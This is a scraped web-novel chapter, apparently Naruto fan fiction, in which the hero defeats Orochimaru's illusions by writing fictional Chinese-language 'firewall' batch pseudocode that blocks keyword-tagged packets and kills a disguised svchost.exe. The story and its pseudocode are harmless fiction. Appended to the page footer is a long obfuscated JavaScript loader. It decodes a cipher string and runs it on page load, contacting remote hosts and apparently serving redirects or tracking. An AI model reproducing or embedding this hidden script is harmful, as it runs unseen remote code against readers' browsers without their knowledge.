首页
[切换至繁体版]
返回

第27章 对抗!幻术防火墙!

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    |大蛇丸-开放-信号·强|【已连接】
    找到了!
    弘树的目光死死盯着屏幕上反覆闪烁的连接状态,心中豁然开朗。
    问题的根源就是这个强制连接!对方正在通过这个埠,源源不断地向自己发送恶意数据包和可执行文件!
    弘树既不知道对方是什麽时候连结的自己,也不知道对方是如何强制连结的自己!
    这在正常的笔记本电脑里根本没法做到!要知道,一个wifi想要强制接入一台电脑,必须需要电脑主动设置自动连接某一个特定的wifi名。
    而wifi信号只有通过伪装成对应的wifi名,才会自动连接入对方的电脑。可大蛇丸完全违背了这一规律!
    他用不知道什麽手段,强行连结了自己。
    就像是提前给自己的电脑里下了病毒程序一样!
    可不管他是怎麽做到的,他能做到一次,就肯定能做到第二次,如果弘树没办法找到那个隐藏在自己身上的『病毒』文件,或是理解大蛇丸是怎麽强制连结自己的,那麽断开连接是绝对没有用的。
    以对方的手段,几乎可以强制重连。
    那麽自己现在唯一的唯一的办法,就是在数据流进入自己系统处理核心之前,建立一道屏障,一个过滤器。
    弘树眼神一凝!
    一个防火墙!
    这可是他的本职工作!
    弘树的思维速度在此刻达到了极致。
    他立刻在自己的意识空间中,新建了一个空白的文本文档,并将其重命名为【幻术防火墙v0.1.bat】。
    他的意念化作键盘,以超越常人的速度在文档程式语言。
    每一行代码都直指核心——监控那个「大蛇丸_精神连结」,拦截所有包含「之术」丶「.exe」丶「幻术」等关键词的恶意数据包。
    短短数秒,核心代码编写完成:
    ——代码——
    @关闭回显
    设置监控目标=「大蛇丸「
    :循环监控
    ::扫描所有传入数据包
    检查网络连接%监控目标临时数据包.tmp
    ::逐行处理数据包信息
    为/F「令牌=*「%%数据包在(临时数据包.tmp)做(
    如果「%%数据包「包含「之术「(
    立即拦截并销毁「%%数据包「
    记录日志「已拦截恶意程序:%%数据包「
    )否则如果「%%数据包「包含「.exe「(
    立即拦截并销毁「%%数据包「
    记录日志「已拦截恶意程序:%%数据包「
    )否则如果「%%数据包「包含「%%术「(
    立即拦截并销毁「%%数据包「
    记录日志「已拦截恶意程序:%%数据包「
    )否则(
    允许通过「%%数据包「
    )
    )
    跳转到:循环监控
    ——代码——
    「运行!」
    随着他一声令下,【幻术防火墙v0.1.bat】脚本立刻开始执行。一个简洁的日志窗口在他意识空间的右下角弹出,绿色的字符开始滚动:【防火墙已激活,正在监控「大蛇丸」...】
    做完这一切,弘树再次将注意力集中到任务管理器上。
    那个疯狂吞噬系统资源的【地狱见之术.exe】依旧在列表中猖獗地运行着,CPU占用率高达89%,内存占用更是达到了惊人的3.2GB。
    「结束进程!」
    这一次,在他点击【确定】之后,奇迹发生了。世界真正地安静了下来。
    CPU占用率如退潮般从89%迅速回落到15%,内存占用也从3.2GB释放到了正常的800MB。
    那个名为【地狱见之术.exe】的恶意进程彻底消失后,没有新的恶意进程再冒出来。
    几乎在同时,防火墙的日志窗口里弹出了两条新的记录:
    【已拦截恶意程序:地狱见之术exe】
    【已拦截恶意程序:涅盘精舍术.exe】
    成功了!
    弘树猛地睁开双眼,现实世界的景象重新占据了他的视野。
    他看到玖辛奈就站在他前方不远处,双眼无神,表情呆滞,嘴角还挂着一丝晶莹的口水,显然还沉浸在幻术制造的噩梦中没有醒来。
    而在更远处的树干上,那个苍白的身影——大蛇丸,脸上第一次露出了人性化的丶名为「诧异」的表情。
    然而还没等弘树来得及喘口气,他意识中的任务管理器再次传来了警报。
    无数密密麻麻的毒蛇,正吐着蛇信子,嘶嘶地往前爬来,一眼之下竟是分辨不出有多少!
    而且,更可怕的是,在弘树还发现,自己的CPU使用率开始缓慢但坚定地攀升:15%…23%…35%…
    大蛇丸对自己的进攻还在继续!?
    不对!
    自己又中了幻术,是什麽时候?这个幻术又是什麽作用?
    他又是怎麽知道自己脱离了前两个幻术!?
    弘树立刻切换到进程的详细信息页面,按CPU使用率重新排序。虽然没有明显的「之术」进程,但他敏锐地发现了异常——几个本应正常的系统进程正在消耗着不该有的资源。
    svchost.exe,CPU占用28%。这个数值让弘树皱起了眉头。
    svchost.exe是Windows系统的核心进程文件,完整名称是ServiceHostProcess(服务宿主进程)作用是承载多个Windows系统服务。
    他右键点击这个进程,选择「打开文件所在位置」。
    当文件资源管理器窗口弹出时,显示的路径让他心中一凛:C:\Windows\Temp\svchost.exe
    这个位置不对!
    「这不对!真正的svchost.exe应该在System32目录下!」
    弘树虽然不记得自己的这个金手指里有System32,但他隐约记得,自己的系统是没有32位和64位的区别,对应的名称叫System(>^ω^<),是一个哈基米的头像标识!
    这是一个伪装成系统文件的病毒文件!
    弘树迅速切换到进程的「详细信息」标签页。
    果然,描述栏一片空白,版本信息显示为「无」,最关键的是——数字签名状态显示为「未验证」。
    「进程伪装!」弘树瞬间明白了对方的第二轮攻击手段。
    大蛇丸放弃了直接注入完整的幻术程序,而是让恶意程序伪装成系统进程,试图蒙混过关!
    幻术也可以做到如此地步吗!?哈基蛇,你究竟是怎麽做到的!?
    弘树没有犹豫,立刻修改防火墙的代码,添加了新的检测规则:
     ——代码——
    @关闭回显
    ::新增进程伪装检测
    设置系统进程列表=「svchost.exe,winlogon.exe,csrss.exe「
    设置合法路径=「C:\Windows\System(>^ω^<)\「
    :扫描进程
    ::使用「任务列表」命令获取当前所有进程的详细信息
    任务列表/V>进程快照.tmp
    ::逐个检查列表中的系统进程
    为%%进程名在(%系统进程列表%)做(
    查找字符串「%%进程名「进程快照.tmp|查找字符串/V「%合法路径%「>伪装进程.tmp
    如果文件存在伪装进程.tmp(
    ::从伪装进程文件中提取进程ID并结束它
    为/F「令牌=2「%%进程ID在(伪装进程.tmp)做(
    任务管理器/强制结束/进程ID%%进程ID
    记录日志「检测到恶意伪装并已清除:%%进程名「
    )
    )
    )
    ::内存保护模式
    :监控内存
    如果检测到外部写入(视觉缓存)(
    如果来源不等于「弘树_本体系统「(
    拦截写入操作
    记录日志「阻止非法内存写入:视觉缓存区域「
    )
    )
    如果检测到外部写入(听觉缓存)(
    如果来源不等于「弘树_本体系统「(
    拦截写入操作
    记录日志「阻止非法内存写入:听觉缓存区域「
    )
    )
    跳转到:扫描进程
    ——代码——
    代码更新完毕,立即执行!
    升级后的防火墙瞬间发威。
    任务管理器中那个伪装的svchost.exe进程被强制终止,CPU占用率从35%回落到正常的8%。
    与此同时,弘树眼前刚刚开始成形的毒蛇幻象出现了严重的故障现象——部分蛇身变成了马赛克状的色块,蛇群的移动开始卡顿跳帧,原本应该令人恐惧的嘶嘶声也变成了断断续续的杂音。
    防火墙日志窗口中,绿色的字符在快速滚动:
    【进程伪装已清除:svchost.exe】
    【阻止非法内存写入:视觉缓存区域】
    【阻止非法内存写入:听觉缓存区域】
    眼前那些支离破碎的蛇群幻象坚持了不到三秒钟,便如同被删除的文件一般,彻底消失在了空气中。
    但危机远未结束。
    大蛇丸眉头紧锁,显然意识到了技巧性攻击的无效,他改变了策略。这一次,不再是精妙的伪装和渗透,而是最原始丶最暴力的正面冲击!
    弘树的任务管理器屏幕开始疯狂闪烁。
    CPU使用率如同发疯般跳跃:8%→34%→67%→89%→98%!内存占用更是以肉眼可见的速度暴涨:800MB→2.1GB→3.7GB,几乎逼近了他4GB的系统上限!
    任务管理器也开始变得显着的卡顿!
    更重要的是,弘树已经感受到,自己的大脑开始止不住的发晕,眼前的视线也开始有些发黑!
    大脑要顶不住了!
    任务管理器→详细信息→选择列→句柄/进程/特权一栏,每秒钟都不知道有多少个快速跳出的新程序,在攻击自己!
    虽然每时每刻自己的防火墙都在抵挡,但是弘树能感受到自己的「系统」能感受到自己的大脑,正在承受着前所未有的负荷。
    「硬抗是不行的…必须主动限制!」
    弘树咬紧牙关,强忍着大脑传来的巨大压力,开始编写最后的应急保护代码:
    ——代码——
    @关闭回显
    ::紧急资源限制模式
    设置最大CPU使用=60
    设置最大内存使用=2048
    设置最大网络连接=50
    :紧急模式
    ::强制限制所有外部进程
    获取系统状态>系统状态.tmp
    设置当前CPU<从文件中读取(系统状态.tmp,「CPU「)
    设置当前内存<从文件中读取(系统状态.tmp,「内存「)
    设置当前连接<从文件中读取(系统状态.tmp,「连接「)
    如果%当前CPU%大于%最大CPU使用%(
    暂停所有高占用进程10秒
    记录日志「CPU过载,已触发熔断保护「
    )
    如果%当前内存%大于%最大内存使用%(
    清理系统临时文件
    记录日志「内存溢出警告,已执行自动清理「
    )
    如果%当前连接%大于%最大网络连接%(
    断开所有新建立的外部连接
    记录日志「网络连接饱和,已拒绝新连接「
    )
    跳转到:紧急模式
    ——代码——
    代码执行的瞬间,弘树感受到了系统负荷的缓解。CPU使用率开始回落:98%→78%→52%,内存占用也从危险的3.8GB降到了相对安全的2.3GB。
    思维还是一卡一卡的,但是脑袋的眩晕感已经开始回落,视线也开始柱间回复正常。
    成功了。
    虽然仍然有些过载的感觉,但他的「系统」稳定住了!
    在远处的树干上,大蛇丸的影分身眉头紧锁,金色的蛇瞳中满是困惑和不解。
    他的查克拉明明成功连接了这个孩子的精神,无论是精妙的幻术技巧还是
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();